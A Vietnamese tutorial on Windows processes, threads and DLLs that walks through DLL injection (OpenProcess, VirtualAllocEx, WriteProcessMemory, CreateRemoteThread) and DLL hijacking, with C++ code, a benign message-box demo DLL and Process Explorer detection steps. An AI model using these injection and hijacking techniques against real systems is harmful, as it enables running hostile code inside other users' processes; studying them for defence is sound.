# Dynamic Link Libraries (DLL)
**Dynamic Link Libraries (DLL)** là tập hợp dữ liệu hoặc các hàm thực thi mà một ứng dụng trong Windows có thể sử dụng.Về cơ bản, **DLL** cho phép nhiều ứng dụng cùng chia sẻ một khối mã chung, thay vì mỗi ứng dụng phải tự chứa toàn bộ mã cần thiết. **DLL** đóng vai trò quan trọng trong việc giúp lập trình viên module hóa chương trình, tái sử dụng và chia sẻ mã nguồn giữa nhiều ứng dụng khác nhau. Cách tiếp cận này không chỉ làm giảm dung lượng và độ phức tạp của mã, mà còn tiết kệm đáng kể thời gian và công sức trong quá trình phát triển phần mềm.
Trước hết ta cần có kiến thức về `Process`, `Threads`:
**1. Process (Tiến trình)**
Trong hệ điều hành Windows, một ứng dụng bao gồm một hoặc nhiều **process**. Hiểu đơn giản **process** là một phiên bản đang chạy của một chương trình. Mặc dù chương trình và process có vẻ giống nhau, nhưng chúng khác biệt cợ bản:
- một chương trình là một chuỗi lệnh tĩnh, trong khi process là một vùng chứa (**container**) cho một tập hợp các tài nguyên được sử dụng khi thực thi phiên bản của chương trình đó.
Các thành phần chính của một process trong Windows bao gồm:
- **Process ID(PID - Mã định danh tiến trình)**: một PID duy nhất cho mỗi process trên hệ thống. Không có hai process có cùng PID tại một thời điểm mặc dù các process có thể cùng tên tồn tại.
- **Private Virtual Address Space**: một tập hợp các địa chỉ bộ nhớ ảo mà process có thể sử dụng.
- **Executable Code**: mã chương trình và dữ liệu ban đầu được ánh xạ vào không gian địa chỉ ảo của process.
- **Handle Table**: chứa các con trỏ tới các đối tượng kernel thực tế trong kernal mà process đang sử dụng. Các handle được trả về bởi các API thực chất là index bên trong bảng handle này. Bảng này không thể truy cập từ chế độ user-mode vì nó được lưu trữ che độ nhân (kernal-mode). Cần lưu ý thêm rằng bảng handle này chỉ bao gồm các handle cho đối tượng kernel (kernel objects), chứ không bao gồm các loại đối tượng khác như GDI hay USER.
- **Security Context**: **access token** xác định người dùng, nhóm bảo mật, quyền hạn(privileges), thuộc tính, claims, capabilities, trạng thái User Account Control(UAC), session, trạng thái tài khoản hạn chế, cùng với AppContainer identifier và thông tin sandboxing liên quan.
- **Ít nhất một luồng thực thi (thread)**: mặc dù về lý thuyết có thể tồn tại một tiến trình “rỗng” (không có thread), nhưng điều này hầu như không hữu ích.
**2. Thread(Luồng)**
**Thread** là một thực thể bên trong process mà Windows dùng để lập lịch (schedule) cho CPU thực thi. Một process có thể có nhiều thread gọi là đa luồng(multi-threading).
- Nếu không có thread, code trong process sẽ không bao giờ chạy -> process chỉ là "vỏ rỗng".
Các thành phần của **thread**:
- **Tập thanh ghi CPU(CPU registers)**: lưu trạng thái hiện tại của bộ xử lý khi thread đang chạy.
- **Two Stack**:
- **User-mode stack** dùng khi thread thực thi code ở user-mode.
- **Kernal-mode stack** dùng khi thread chuyển vào kernal mode(ví dụng như khi gọi hàm system call).
- **Thread-local storage(TLS)**: khu vực lưu trữ riêng cho thread, dùng bởi sybsystem, runtime library, hoặc Dll.
- **Thread ID(TID)**: một dịnh danh duy nhất cho mỗi thread. ID process và ID thread được tạo từ cùng một gian tên nên không bao giờ trùng lặp.
Security context: thread có thể có token riêng -> dùng nhiều trong ứng dụng server đa luồng. Ví dụ: một thread trong server web có thể mạo danh token của client mà nó đang phục vụ.
**Creating a Process**:
```cpp
#include<stdio.h>
#include<Windows.h>
int main() {
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
LPSTR lpCommandLine = "notepad.exe";
if (!CreateProcessA(NULL, lpCommandLine, 0, 0, 0, 0, 0, 0, &si, &pi)) {
printf("CreateProcess failed (%d).\n", GetLastError());
return -1;
}
printf("Process Created!\n");
Sleep(5000);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
```
Đoạn code sẽ thực thi mở `notepad.exe `và thoát sau 5s

Giải thích code:
```
BOOL CreateProcessA(
[in, optional] LPCSTR lpApplicationName,
[in, out, optional] LPSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCSTR lpCurrentDirectory,
[in] LPSTARTUPINFOA lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);
```
```C/C++
STARTUPINFOA si;
PROCESS_INFORMATION pi;
```
- Khai báo biến `si` kiểu `STARTUPINFO`. Cấu trúc này chứa các thông tin xác định cách cửa sổ chính của tiến trình mới sẽ xuất hiện.
- Khai báo biến `pi` kiểu `PROCESS_INFO`. Cấu trúc này sẽ nhận thông tin định danh về process, thread mới được tạo bao gồm ID của process (`dwProcessId`), ID của thread chính (`dwThreadId`), một handle tới process(`hProcess`) và một handle tới thread chính(`hThread`).
```cpp
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
LPSTR lpCommandLine = "notepad.exe";
```
- `ZeroMemory(&si, sizeof(si));`: khởi tạo toàn bộ cấu trúc `si` về 0 để đảm bảo khôn có giá trị rác.
- `si.cb = sizeof(si);`: đặt trường `cb (count of bytes)` của cấu trúc `STARTUPINFOA` bằng kích thước của chính nó. Đây là một bước bắt buộc để hệ thống biết kích thước của cấu trúc đang được truyền vào.
- `ZeroMemory(&pi, sizeof(pi));`: khởi tạo toàn bộ cấu trúc `pi` về 0.
Tiếp theo về phần khởi tạo tiến trình con:
```cpp
// Khởi tạo tiến trình con
if (!CreateProcessA(
NULL, // Tên mô-đun (NULL để dùng dòng lệnh)
lpCommandLine, // Dòng lệnh để thực thi (ở đây là "notepad.exe")
NULL, // Thuộc tính bảo mật cho tiến trình (NULL để dùng mặc định)
NULL, // Thuộc tính bảo mật cho luồng chính (NULL để dùng mặc định)
FALSE, // Không kế thừa các handle từ tiến trình cha
0, // Không có cờ tạo tiến trình đặc biệt
NULL, // Sử dụng khối môi trường của tiến trình cha
NULL, // Sử dụng thư mục làm việc hiện tại của tiến trình cha
&si, // Con trỏ tới cấu trúc STARTUPINFOA
&pi // Con trỏ tới cấu trúc PROCESS_INFORMATION
)) {
printf("CreateProcess failed (%d).\n", GetLastError());
return -1;
}
```
Cuối cùng, `CloseHandle(pi.hProcess);` và `CloseHandle(pi.hThread);`: Các handle tới tiến trình và luồng được trả về trong cấu trúc `PROCESS_INFORMATION` phải được đóng bằng hàm `CloseHandle` khi chúng không còn cần thiết nữa. Việc không đóng handle có thể dẫn đến rò rỉ tài nguyên.
**Create Thread**
```cpp
#include <stdio.h>
#include <windows.h>
int EthicalFunction(LPVOID lpParam)
{
printf("Thread created\n");
printf("For educational purposes only\n");
// Return success
return 0;
}
int main()
{
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)EthicalFunction, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
printf("Thread returned\n");
printf("Exiting...\n");
// Close thread handle
CloseHandle(hThread);
return 0;
}
```
```
HANDLE CreateThread(
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in, optional] __drv_aliasesMem LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out, optional] LPDWORD lpThreadId
);
```

### Cách tạo ra một file DLL
Cấu trúc của một file DLL:
```cpp
#include <stdio.h>
#include <windows.h>
#define DLL_EXPORT __declspec(dllexport)
//Hàm cộng 2 số nguyên
extern "C" DLL_EXPORT int Add(int a, int b){
return a + b;
}
// Hàm nhân 2 số nguyên
extern "C" DLL_EXPORT int Multiply(int a, int b){
return a * b;
}
// Hàm khởi tạo DLL
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReversed){
switch(ul_reason_for_call){
case DLL_PROCESS_ATTACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
```
Sử dụng câu lệnh để tạo file DLL:
```
g++ -shared -o MyLibrary.dll MyLibrary.cpp
```
Giờ ta đã có một file `MyLibrary.dll`. Để sử dụng vào một chương trình khác ta cần một file `main.cpp` với nội dung như sau:
```cpp
#include<stdio.h>
#include<windows.h>
typedef int (*AddFunc)(int, int);
typedef int (*MultiplyFunc)(int, int);
int main(){
// Load the DLL
HINSTANCE hDLL = LoadLibrary("MyLibrary.dll");
if(!hDLL){
printf("Failed to load DLL\n");
return 1;
}
// Lấy địa chỉ hàm từ DLL
AddFunc Add = (AddFunc)GetProcAddress(hDLL, "Add");
MultiplyFunc Multiply = (MultiplyFunc)GetProcAddress(hDLL, "Multiply");
if(Add && Multiply){
int sum = Add(5, 3);
int product = Multiply(5, 3);
printf("Sum: %d\n", sum);
printf("Product: %d\n", product);
} else {
printf("Failed to get function addresses\n");
}
// Giải phóng DLL
FreeLibrary(hDLL);
return 0;
}
```

## DLL Injection
**DLL Injection** là quá trình chèn code vào một tiến trình (process) đang chạy. Code được sử dụng ở đây dạng thư viện liên kết động (DLL). Tuy nhiên không phải chỉ chèn được code dạng DLL, ta có thể chèn code ở nhiều dạng khác nhâu như: `exe`, `handwritten`,... Điều quan trọng là chúng ta có đủ quyền hệ thống để thao tác với tiến trình của ứng dụng khác không. Windows API đã cung cấp cho chúng ta một một vài hàm để can thiệp và thao tác vào những chương trình khác cho mục dích Debug.
- Các bước thực hiện ngắn gọn là:
> - Can thiệp vào tiến trình (Lấy handle của target process)
> - Cấp phát bộ nhớ trong target process
> - Copy toàn bộ DLL hoặc đường dẫn đến DLL vào vùng nhớ đó và xác định vị trí của vùng nhớ
> - Thực thi DLL trong tiến trình đích
Một cách tổng quát, ta có sơ đồ `DLL Injection` như sau:

Hoặc:

**1. Can thiệp vào Process**
Đầu tiên, xác định target process và lấy handle của process có thể thao tác với nó. Bước này chúng ta sử dụng hàm `OpenProcess()` từ thư viện `Kernel32.dll` , hàm này giúp chúng ta lấy được `HANDLE` của `Process` đang chạy tạo điều kiện cho các bước tiếp theo.
```
HANDLE OpenProcess(
[in] DWORD dwDesiredAccess,
[in] BOOL bInheritHandle,
[in] DWORD dwProcessId
);
```
**Parameters**
- `[in] dwDesiredAccess`: quyền truy cập đối với đối tượng process. Giá trị quyền truy cập này sẽ được kiểm tra đối chiều với security descriptor của process. Tham số này có thể bao gồm một hoặc nhiều quyền truy cập process. Thông thường có thể để mở toàn quyền hay `PROCESS_ALL_ACCESS` cho tiện nhưng `PROCESS_VM_OPERATION | PROCESS_VM_WRITE` là đủ.
- `[in] bInheritHandle`: nếu giá trị này là `TRUE`, các tiến trình được tạo ra bởi tiến trình hiện tại sẽ kế thừa handle. Nếu `FALSE`, các tiến trình con sẽ không được kế thừa handle này.
- `[in] dwProcessId`: định danh (ID) của process cục bộ cần mở.
- Nếu tiến trình chỉ định là `System Idle Process (0x00000000)`, hàm này sẽ thát bại và trả về mã lỗi `ERROR_IVALID_PARAMETER`.
- Nếu tiến trình chỉ định là `System process` hoặc một trong các tiến trình **Client Server Run-Time Subsystem(CSRSS)**, hàm sẽ thất bại và trả về lỗi `ERROR_ACCESS_DENIED`, do các hạn chế truy cập ngăn cản mã lệnh ở mức người dùng(user-level code) mở các tiến trình này.
**Code:**
```cpp
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, False, dwPID);
if (hProcess == NULL) {
printf("[-] Failed to open process (%ld), error: 0x%lx\n", dwPID, GetLastError());
return EXIT_FAILURE; [3]
}
printf("[+] Opened target process: %lu\n", dwPID);
```
- `OpenProcess` trả về `HANDLE` cho tiến trình có `PID = dwPID`. Tham số `PROCESS_ALL_ACCESS` yêu cầu nhiều quyền (mở rộng) trên tiến trình: đọc/ghi bộ nhớ, tạo luồng, thay đổi quyền,...
- Nếu `OpenProcess` trả về NULL => thất bại; `GetLastError()` trả mã lỗi hệ thống.
**2. Cấp phát vùng nhớ**
Khi đã có được `HANDLE` của `Target Process`, và trước khi chèn bất kì thứ gì vào process khác chúng ta đều cần một chỗ để đặt nó vào. Sử dụng hàm `VirtualAllocEx()` để thực hiện công việc đó, `VirtualAlloEx()` lấy dung lượng vùng nhớ cần phát làm tham số truyền vào.
- Nếu sử dụng hàm `LoadLibraryA()`, chúng ta cần cấp phát vùng nhớ để ghi đường dẫn đến DLL.
- Nếu sử dụng phương thức nhảy đến `DLLMain` thì cần cấp phát vùng nhớ đủ lớn để ghi toàn bộ DLL vào.
Sử dụng đường dẫn đến DLL sẽ phải sử dụng hàm `LoadLibraryA()`. Cấp phát đủ vùng nhớ để ghi đường dẫn đến DLL vào:
```=
LPVOID VirtualAllocEx(
[in] HANDLE hProcess,
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);
```
```cpp=
GetFullPathName(TEXT("mydll.dll"),
BUFSIZE,
dllPath, // Đường dẫn đến DLL sẽ được lưu vào đây
NULL);
dllPathAddr = VirtualAllocEx(hHandle,
0,
strlen(dllPath),
MEM_RESERVE | MEM_COMMIT,
PAGE_READWRITE_READWRITE);
```
Sử dụng toàn bộ code trong DLL chúng ta sẽ cần sử dụng hàm `LoadLibraryA()` và sẽ trành được các hạn chế trên.
Đầu tiên chúng ta lấy handle của DLL bằng hàm `CreateFileA()` và tính toán kích thước của DLL bằng hàm `GetFileSize()`, cuois cùng và đưa vào hàm `VirtualAllocEx()`:
```cpp=
GetFullPathName(TEXT("mydll.dll"),
BUFSIZE,
dllPath, // Đường dẫn đến DLL sẽ được lưu vào đây
NULL);
hFile = CreateFileA(dllPath,
GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
dllFileLength = GetFileSize(hFile,
NULL );
remoteDllAddr = VirtualAllocEx(hHandle,
0,
dllFileLength,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
```
**Code:**
```cpp
// Allocate Memory for DLL path
SIZE_T dllPathLen = strlen(dllPath) + 1;
LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, dllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!remoteMem) {
printf("[-] Failed to allocate memory in remote process, error: %lu\n", GetLastError());
CloseHandle(hProcess);
return EXIT_FAILURE;
}
printf("[+] Allocated memory at 0x%p in remote process\n", remoteMem);
```
- `dllPathLen = chiều dài chuỗi + 1` để chứa `'\0'` kết thúc chuỗi.
- `VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)` yêu cầu hệ thống cấp phát vùng nhớ trong không gian địa chỉ của tiến trình mà `hProcess` đại diện.
- `MEM_COMMIT | MEM_RESERVE`: vừa đặt trang, vừa đánh dấu vùng được đặt trước.
- `PAGE_READWRITE`: trang được cấp phép đọc/ghi.
- Trả về con trỏ (địa chỉ ảo) trong không gian tiến trình đích — đây là `remoteMem`. Nếu `NULL` => cấp phát thất bại.
**3. Copy Dll và xác định địa chỉ**
Giờ chúng ta có thể copy đường dẫn hoặc toàn bộ DLL đến vùng nhớ của process.

Khi đã có vùng nhớ cần thiết, chúng ta sẽ sử dụng hàm `WriteProcessMemory()` để thực hiện công việc ghi:
- Đường dẫn DLL:
```cpp
WriteProcessMemory( hHandle,
dllPathAddr,
dllPath,
strlen(dllPath),
NULL );
```
- Toàn bộ DLL: chúng ta cần đọc DLL trước khi ghi nó vào vùng nhớ của process:
```cpp
lpBuffer = HeapAlloc( GetProcessHeap(),
0,
dllFileLength);
ReadFile( hFile,
lpBuffer,
dllFileLength,
&dwBytesRead,
NULL );
WriteProcessMemory( hProcess,
lpRemoteLibraryBuffer,
lpBuffer,
dllFileLength,
NULL );
```
**Code:**
```cpp=
// Write DLL path
if (!WriteProcessMemory(hProcess, remoteMem, dllPath, dllPathSize, NULL)) {
printf("[-] Failed to write DLL path to remote process, error: %lu\n", GetLastError());
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
return EXIT_FAILURE;
}
printf("[+] Wrote DLL path to remote process memory\n");
```
- `WriteProcessMemory` ghi `dllPathSize` byte từ địa chỉ dllPath (trong tiến trình hiện tại) vào `remoteMem` (trong tiến trình đích).
- Trả về boolean — nếu FALSE => thất bại và `GetLastError()` cho mã lỗi
- Sau khi ghi thành công, tiến trình đích có thể truy cập chuỗi đường dẫn tại vị trí `remoteMem`.
**Xác định điểm bắt đầu thực thi:**
- Đường dẫn DLL và `LoadLibraryA()`: Chúng ta sẽ xác định địa chỉ của hàm `LoadLibraryA()` và chuyển nó đến hàm thực thi cùng với tham số truyền vào là địa chỉ vùng nhớ chứa đường dẫn đến DLL. Để lấy địa chỉ của hàm `LoadLibraryA()`, ta sẽ sử dụng hàm `GetModuleHandle()` và `GetProcAddress()`:
```cpp=
loadLibAddr = GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
```
- Toàn bộ DLL và DLLMain: Bằng cách này chúng sẽ tránh được việc đăng ký DLL với chương trình. Tuy nhiên phần khó thực là lấy entry point DLL của **Stephen Fewer** - người đi đầu trong kỹ thuật DLL Injection: [Reflective DLL Injection](https://github.com/stephenfewer/ReflectiveDLLInjection/)
```cpp=
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpBuffer);
```
**4. Thực thi DLL**
Hiện tại, DLL đã nằm trong vùng nhớ của process và chúng ta đã có địa chỉ của vùng nhớ đó. Việc cuối cần làm là cho process thực thi nó. `CreateRemoteThread()` cũng là cách được sử dụng rộng rãi nhất.
```cpp=
rThread = CreateRemoteThread(hTargetProcHandle, NULL, 0, lpStartExecAddr, lpExecParam, 0, NULL);
WaitForSingleObject(rThread, INFINITE);
```
`WaitForSingleObject()` để chắc chắn rằng DLL đã được thực thi trước khi Windows thực thi các công việc tiếp theo của process.
```cpp=
// Load DLL
LPVOID loadLibAddr = (LPVOID)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
if (!loadLibAddr) {
printf("[-] Failed to resolve LoadLibraryA address, error: %lu\n", GetLastError());
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
return EXIT_FAILURE;
}
printf("[+] Resolved LoadLibraryA at 0x%p\n", loadLibAddr);
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)loadLibAddr, remoteMem, 0, NULL);
if (!hThread) {
printf("[-] Failed to create remote thread, error: %lu\n", GetLastError());
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
return EXIT_FAILURE;
}
printf("[+] Remote thread created. Waiting for completion...\n");
WaitForSingleObject(hThread, INFINITE);
```
- `GetModuleHandleA("kernel32.dll")` trả về base address của kernel32.dll trong tiến trình hiện tại.
- `GetProcAddress(..., "LoadLibraryA")` trả về địa chỉ hàm LoadLibraryA (trong không gian tiến trình hiện tại).
- `CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)loadLibAddr, remoteMem, 0, NULL)` tạo một thread trong tiến trình đích:
- Thread bắt đầu thực thi từ `loadLibAddr`, và đối số truyền vào cho hàm start là `remoteMem` (chuỗi đường dẫn).
- Khi luồng chạy `LoadLibraryA(remoteMem)`, kernel loader sẽ tìm file DLL theo đường dẫn và nạp nó vào tiến trình đích
-` WaitForSingleObject(hThread, INFINITE)` chờ cho thread hoàn tất (đợi nạp DLL xong). Việc chờ vô hạn có thể là hợp lý ở script nhỏ, nhưng trong ứng dụng thực tế cần có timeouts / xử lý lỗi.
## Demo
Thực hiện kết nối giữa máy attacker và victim

Truy cập đến folder chứa file thực thi:


PID của Notepad là 9600

**Kết quả:**

## DLL Hijacking
DLL Hijacking là phương pháp đưa mã độc vào ứng dụng bằng cách khai thác cách một số ứng dụng Windows tìm kiếm và tải Thư viện liên kết động (DLL). Bằng cách thay thế tệp DLL bắt buộc bằng phiên bản giả mạo và đặt tệp đó vào trong tham số tìm kiếm của ứng dụng, tệp giả mạo sẽ được gọi khi ứng dụng tải, kích hoạt các hoạt động độc hại của tệp đó.
Để thực hiện DLL Hijacking thành công, nạn nhân cần tải tệp DLL giả mạo từ cùng thư mục với ứng dụng mục tiêu, ứng dụng Windows cần phải bị lừa tải một tệp DLL giả mạo thay vì tệp DLL hợp lệ.
Thứ tự tìm kiếm DLL chuẩn của các ứng dụng Microsoft phụ thuộc vào việc tìm kiếm DLL an toàn có được bật hay không. Khi chế độ tìm kiếm DLL an toàn được bật, các ứng dụng sẽ tìm kiếm các tệp DLL cần thiết theo thứ tự sau:
- Thư mục mà từ đó ứng dụng được tải lên.
- Thư mục hệ thống.
- Thư mục hệ thống 16 bit.
- Thư mục Windows.
- Thư mục hiện tại.
- Các thư mục được liệt kê trong biến môi trường PATH.
Khi chế độ tìm kiếm DLL an toàn bị vô hiệu hóa, thứ tự tìm kiếm như sau:
- Thư mục mà ứng dụng được tải từ đó.
- Thư mục hiện tại.
- Thư mục hệ thống.
- Thư mục 16 bit.
- Thư mục Windows
- Thư mục được liệt kê trong biến môi trường PATH.

Sự khác biệt giữa hai chế độ tìm kiếm là thứ tự tìm kiếm trong thư mục hiện tại của người dùng, thứ tự này sẽ được nâng lên một chút trong hệ thống phân cấp khi tính năng tìm kiếm an toàn bị tắt. Các ứng dụng Windows sẽ mặc định sử dụng bất kỳ giao thức tìm kiếm DLL nào ở trên nếu ứng dụng không chỉ định đường dẫn đầy đủ của các tệp DLL được liên kết. Từ đó dẫn đến nguy cơ dẫn đến hack DLL.
Nếu tội phạm mạng gửi tệp DLL bị nhiễm vào vị trí này, ứng dụng sẽ mở tệp đó thay vì tệp gốc vì vị trí của tệp đã được tìm kiếm trước, trước thư mục hệ thống. Để ngăn chặn việc phát hiện, các tệp DLL độc hại sẽ bắt chước chữ ký số của ứng dụng mục tiêu.
DLL Side-Loading là một trong những kỹ thuật của DLL Hijacking được các tin tặc lợi dụng bằng cách thêm vào tính năng cho mã độc nhằm mục đích vượt qua chương trình diệt virus và các công cụ bảo mật của Windows.
Bằng cách chiếm đoạt thứ tự tìm kiếm DLL của một ứng dụng hợp pháp, DLL chứa mã độc sẽ được gọi ngay khi ứng dụng đó được mở. Khi đó, mã độc sẽ được kích hoạt một cách hợp pháp trên máy tính nạn nhân.
Sự khác biệt giữa hai kỹ thuật này là kỹ thuật DLL Hijacking lợi dụng thứ tự tải của các DLL hợp lệ bằng cách thêm DLL độc hại ở vị trí tìm kiếm đầu tiên mà hệ thống tải lên khi bắt đầu chạy ứng dụng. Còn kỹ thuật DLL Side-loading lợi dụng các thư viện liên kết không chặt chẽ và thứ tự tìm kiếm mặc định của Windows bằng cách thêm tệp DLL độc hại thay cho một DLL hợp lệ trên một hệ thống, tệp DLL độc hại này sẽ được tải tự động bởi một chương trình chính thống.
Khai thác bị động:

Khai thác chủ động:

### DLL hijacking hoạt động như thế nào?
Cuộc tấn công này lợi dụng cách Windows tìm kiếm các tệp .dll khi một ứng dụng không chỉ định đường dẫn đầy đủ đến tệp đó.
- Thứ tự tìm kiếm: Windows có một thứ tự ưu tiên khi tìm kiếm tệp .dll, và thư mục chứa ứng dụng thường là nơi được tìm kiếm đầu tiên.
- Khai thác: Kẻ tấn công đặt một tệp .dll độc hại (được đặt tên giống hệt tệp .dll hợp pháp) vào thư mục của ứng dụng.
- Kết quả: Khi người dùng chạy ứng dụng, nó sẽ tìm thấy và tải tệp .dll độc hại này trước khi tìm được tệp .dll gốc (thường nằm trong thư mục hệ thống của Windows), dẫn đến mã độc được thực thi.
-
Cách xác định một cuộc tấn công chiếm quyền điều khiển DLL
Một chương trình Windows có tên Process Explorer có thể phát hiện hành vi chiếm quyền điều khiển DLL. Tính năng này hoạt động bằng cách hiển thị, theo thời gian thực, tất cả các hệ thống tệp đang được tải. Với các bộ lọc chính xác, người dùng có thể xác định các tệp DLL không thuộc về hệ thống. Hãy làm theo các bước sau
Bước 1. Cài đặt và tải Process Explorer Mở trong một tab mới.
Bước 2. Tìm kiếm ứng dụng bị nghi ngờ là mục tiêu của cuộc tấn công chiếm quyền điều khiển DLL.
Bước 3. Nhấn Ctrl + L và áp dụng bộ lọc chỉ hiển thị các tệp đang hoạt động có đường dẫn kết thúc bằng .dll bằng cách nhấp vào Thêm rồi nhấp vào Áp dụng.
Bước 4. Nhấn Ctrl + L và áp dụng bộ lọc cho thư mục: tên không tìm thấy bằng cách đặt điều kiện - Kết quả: TÊN KHÔNG TÌM THẤY rồi nhấp vào Thêm rồi Áp dụng để hiển thị các tệp đang tải bên ngoài thư mục hệ thống.
Nhấn Ctrl + L để áp dụng bộ lọc bổ sung chỉ hiển thị các tệp DLL trong thư mục của ứng dụng bằng cách đặt các điều kiện sau: Đường dẫn là [địa chỉ đường dẫn] rồi nhấp vào Thêm rồi nhấp vào Áp dụng.
### Example
```cpp=
Code: DLL Hijacking
#include <windows.h>
// DllMain là hàm được gọi khi một DLL được nạp hoặc giải phóng
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
// Kiểm tra xem DLL có đang được nạp vào một tiến trình không
if (fdwReason == DLL_PROCESS_ATTACH) {
// Hiển thị một hộp thoại đơn giản để chứng minh mã đã được thực thi
MessageBox(
NULL,
"DLL Doc Hai Da Duoc Nap!", // Nội dung
"DLL Hijacking Demo", // Tiêu đề
MB_OK | MB_ICONINFORMATION
);
}
return TRUE; // Luôn trả về TRUE để báo hiệu thành công
}
Code: Loader
printf("Dang co gang nap thu vien version.dll...\n");
// LoadLibrary tìm và nạp DLL vào tiến trình
HMODULE hDll = LoadLibrary("version.dll");
if (hDll == NULL) {
printf("Khong the nap version.dll. Ma loi: %lu\n", GetLastError());
return 1;
}
printf("Da nap thanh cong version.dll!\n");
// Giải phóng thư viện
FreeLibrary(hDll);
return 0;
```
